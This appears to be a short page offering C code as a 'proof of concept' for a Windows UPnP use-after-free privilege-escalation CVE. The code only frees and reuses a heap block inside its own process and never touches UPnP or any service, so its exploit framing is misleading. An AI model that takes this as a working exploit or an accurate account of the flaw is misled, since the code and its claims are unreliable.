CVE-2026-27916 Windows UPnP权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-27916 (Use After Free) // Note: This is a conceptual demonstration based on the vulnerability description. // Actual exploitation requires specific memory layout and triggering conditions. void trigger_exploit() { HANDLE hHeap = GetProcessHeap(); LPVOID pMemory = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x100); if (pMemory == NULL) { printf("[-] Memory allocation failed.\n"); return; } printf("[*] Memory allocated at: %p\n", pMemory); // Step 1: The vulnerable service frees the object HeapFree(hHeap, 0, pMemory); printf("[*] Object freed (Use-After-Free condition initiated).\n"); // Step 2: Attacker sprays the heap to reclaim the freed memory // In a real scenario, this would involve controlled data to hijack execution flow LPVOID pSpray = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x100); if (pSpray == pMemory) { printf("[*] Successfully reclaimed memory at: %p\n", pSpray); memset(pSpray, 0x41, 0x100); // Filling with controlled data } // Step 3: The vulnerable service attempts to use the freed pointer // This leads to arbitrary code execution or crash printf("[*] Triggering the use of freed pointer...\n"); memcpy(pMemory, "AAAA", 4); // Simulating the dereference } int main() { printf("CVE-2026-27916 PoC Concept\n"); trigger_exploit(); return 0; }